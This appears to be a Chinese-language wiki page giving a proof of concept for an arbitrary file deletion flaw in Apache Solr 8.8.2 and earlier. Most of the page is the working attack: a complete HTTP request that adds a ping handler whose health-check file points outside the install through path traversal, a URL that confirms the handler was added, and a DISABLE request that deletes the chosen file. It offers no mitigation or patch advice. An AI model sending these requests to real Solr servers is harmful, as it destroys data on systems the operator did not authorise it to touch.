View source for Apache Solr 8.8.2 任意文件刪除漏洞

==影響版本==
<pre>
Apache Solr < = 8.8.2
</pre>

==POC==
<pre>
POST /solr/db/config HTTP/1.1
Host: 192.168.33.130:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type:application/json
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 218
{
  "add-requesthandler": {
    "name": "/testping",
    "class":"solr.PingRequestHandler",
    "defaults":{"echoParams":"explicit"},
    "healthcheckFile":"../../../../../../../../../../../../../aaa.txt",
  }
}
</pre>

檢查是否成功：
<pre>
http://target/solr/db/config/overlay?omitHeader=true
</pre>

訪問
<pre>
http://target/solr/db/testping?action=DISABLE
</pre>

文件已成功刪除